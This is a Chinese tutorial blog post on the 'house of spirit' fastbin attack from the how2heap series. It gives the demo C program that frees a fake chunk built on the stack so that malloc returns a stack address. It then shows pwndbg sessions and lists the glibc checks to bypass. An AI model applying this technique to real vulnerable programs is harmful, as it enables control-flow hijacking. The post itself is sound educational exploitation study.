从零开始学howtoheap:fastbins的house_of_spirit攻击1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_spirit演示程序

#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");malloc(1);fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");unsigned long long *a, *b;unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");fake_chunks[1] = 0x40; // sizefprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");// 这是fake_chunks[?]可以数一下fake_chunks[9] = 0x1234; // nextsizefake_chunks[2] = 0x4141414141414141LL;fake_chunks[10] = 0x4141414141414141LL;fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);a = &fake_chunks[2];fprintf(stderr, "free!\n");free(a);fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);b = malloc(0x30);fprintf(stderr, "malloc(0x30): %p\n", b);b[0] = 0x4242424242424242LL;fprintf(stderr, "ok!\n");return 0;
}

3.调试house_of_spirit

3.1 获得可执行程序 

gcc -g house_of_spirit.c -o house_of_spirit

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 首先在程序的第 14 行下个断点

运行到这里可以看到 fake_chunk 目前还没有被我们写入。

pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针Breakpoint 1, main () at house_of_spirit.c:15
15          fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x25RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400900 (__libc_csu_init+80) ◂— add    dword ptr [rax + 0x39], ecxR8   0x25R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 ◂— 0x1RIP  0x400721 (main+123) ◂— mov    rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400721 <main+123>    mov    rax, qword ptr [rip + 0x200938] <0x601060>0x400728 <main+130>    lea    rdx, [rbp - 0x60]0x40072c <main+134>    lea    rcx, [rdx + 0x48]0x400730 <main+138>    lea    rdx, [rbp - 0x60]0x400734 <main+142>    add    rdx, 80x400738 <main+146>    mov    r8, rcx0x40073b <main+149>    mov    rcx, rdx0x40073e <main+152>    mov    edx, 0x500x400743 <main+157>    mov    esi, 0x4009f80x400748 <main+162>    mov    rdi, rax0x40074b <main+165>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c10 11     fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");12     unsigned long long *a, *b;13     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));14 ► 15     fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);16 17     fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");18     fake_chunks[1] = 0x40; // size19 20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 —▸ 0x7fffffffe5e0 ◂— 0x1f7b99608
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400721 main+123f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:14
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffe560
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x00007fffffffe5e0
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x00000000004005b0
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.2 我们直接让他写完,断点第23行

再来看一下,已经构造出fake chunk了。

pwndbg> b 23
Breakpoint 2 at 0x4007a1: file house_of_spirit.c, line 23.
pwndbg> c
Continuing.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)Breakpoint 2, main () at house_of_spirit.c:23
23          fake_chunks[2] = 0x4141414141414141LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x53RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400b00 ◂— in     al, 0xbdR8   0x53R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 ◂— 0x1RIP  0x4007a1 (main+251) ◂— movabs rax, 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007a1 <main+251>    movabs rax, 0x41414141414141410x4007ab <main+261>    mov    qword ptr [rbp - 0x50], rax0x4007af <main+265>    movabs rax, 0x41414141414141410x4007b9 <main+275>    mov    qword ptr [rbp - 0x10], rax0x4007bd <main+279>    mov    rax, qword ptr [rip + 0x20089c] <0x601060>0x4007c4 <main+286>    lea    rdx, [rbp - 0x60]0x4007c8 <main+290>    add    rdx, 0x100x4007cc <main+294>    mov    esi, 0x400b780x4007d1 <main+299>    mov    rdi, rax0x4007d4 <main+302>    mov    eax, 00x4007d9 <main+307>    call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c18     fake_chunks[1] = 0x40; // size19 20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");21         // 这是fake_chunks[?]可以数一下22     fake_chunks[9] = 0x1234; // nextsize► 23     fake_chunks[2] = 0x4141414141414141LL;24     fake_chunks[10] = 0x4141414141414141LL;25 26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27     a = &fake_chunks[2];28 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4007a1 main+251f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:23
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.3对fake chunk进行free之后。断点第30行

可以看一下fastbin,现在已经有了我们构造的哪个fake chunk了。

pwndbg> b 30
Breakpoint 3 at 0x400808: file house_of_spirit.c, line 30.
pwndbg> c
Continuing.
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!Breakpoint 3, main () at house_of_spirit.c:30
30          free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x6RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400b00 ◂— in     al, 0xbdR8   0x6R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'RIP  0x400808 (main+354) ◂— mov    rax, qword ptr [rbp - 0x70]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400808 <main+354>    mov    rax, qword ptr [rbp - 0x70]0x40080c <main+358>    mov    rdi, rax0x40080f <main+361>    call   free@plt <0x400540>0x400814 <main+366>    mov    rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373>    lea    rdx, [rbp - 0x60]0x40081f <main+377>    add    rdx, 0x100x400823 <main+381>    mov    esi, 0x400bc80x400828 <main+386>    mov    rdi, rax0x40082b <main+389>    mov    eax, 00x400830 <main+394>    call   fprintf@plt <0x400570>0x400835 <main+399>    mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c25 26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27     a = &fake_chunks[2];28 29     fprintf(stderr, "free!\n");► 30     free(a);31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 'AAAAAAAA'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400808 main+354f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:30
pwndbg> n
32          fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */RDX  0x0RDI  0xffffffffRSI  0x7ffff7dd1b38 (main_arena+24) —▸ 0x7fffffffe560 ◂— 0x1R8   0x7fffffffe570 ◂— 0x0R9   0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */R10  0x8b8R11  0x7ffff7a914f0 (free) ◂— push   r13R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP  0x400814 (main+366) ◂— mov    rax, qword ptr [rip + 0x200845]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400808 <main+354>    mov    rax, qword ptr [rbp - 0x70]0x40080c <main+358>    mov    rdi, rax0x40080f <main+361>    call   free@plt <0x400540>► 0x400814 <main+366>    mov    rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373>    lea    rdx, [rbp - 0x60]0x40081f <main+377>    add    rdx, 0x100x400823 <main+381>    mov    esi, 0x400bc80x400828 <main+386>    mov    rdi, rax0x40082b <main+389>    mov    eax, 00x400830 <main+394>    call   fprintf@plt <0x400570>0x400835 <main+399>    mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c27     a = &fake_chunks[2];28 29     fprintf(stderr, "free!\n");30     free(a);31 ► 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;36     fprintf(stderr, "ok!\n");37     return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ r8   0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400814 main+366f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe560 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
3.3.4 接下来再次malloc一个相同大小的chunk,断点第35行

会把fastbin中的fake chunk申请过去。

empty
pwndbg> b 35
Breakpoint 4 at 0x400860: file house_of_spirit.c, line 35.
pwndbg> c
Continuing.
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570Breakpoint 4, main () at house_of_spirit.c:35
35          b[0] = 0x4242424242424242LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1dRBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP  0x400860 (main+442) ◂— mov    rax, qword ptr [rbp - 0x68]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400860 <main+442>    mov    rax, qword ptr [rbp - 0x68]0x400864 <main+446>    movabs rcx, 0x42424242424242420x40086e <main+456>    mov    qword ptr [rax], rcx0x400871 <main+459>    mov    rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466>    mov    rcx, rax0x40087b <main+469>    mov    edx, 40x400880 <main+474>    mov    esi, 10x400885 <main+479>    mov    edi, 0x400c0f0x40088a <main+484>    call   fwrite@plt <0x400590>0x40088f <main+489>    mov    eax, 00x400894 <main+494>    mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c30     free(a);31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);► 35     b[0] = 0x4242424242424242LL;36     fprintf(stderr, "ok!\n");37     return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400860 main+442f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:35
pwndbg> n
36          fprintf(stderr, "ok!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x7fffffffe570 ◂— 'BBBBBBBB'RBX  0x0RCX  0x4242424242424242 ('BBBBBBBB')RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'RIP  0x400871 (main+459) ◂— mov    rax, qword ptr [rip + 0x2007e8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400860 <main+442>    mov    rax, qword ptr [rbp - 0x68]0x400864 <main+446>    movabs rcx, 0x42424242424242420x40086e <main+456>    mov    qword ptr [rax], rcx► 0x400871 <main+459>    mov    rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466>    mov    rcx, rax0x40087b <main+469>    mov    edx, 40x400880 <main+474>    mov    esi, 10x400885 <main+479>    mov    edi, 0x400c0f0x40088a <main+484>    call   fwrite@plt <0x400590>0x40088f <main+489>    mov    eax, 00x400894 <main+494>    mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;► 36     fprintf(stderr, "ok!\n");37     return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ rax  0x7fffffffe570 ◂— 'BBBBBBBB'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400871 main+459f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x4242424242424242      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91

3.4 总结

伪造chunk时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在64位系统中fast chunk的大小要在 32~128 字节之间。最后,是next chunk的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对next chunk大小的检查。

​ 所以house_of_spirit的主要目的是,当我们伪造的fake chunk内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk里填充一些字母,但在现实中这些位置很可能是不可控的,而house_of_spirit也正是以此为目的而出现的。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/678405.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MATLAB源码-第138期】基于matlab的D2D蜂窝通信仿真,对比启发式算法,最优化算法和随机算法的性能。

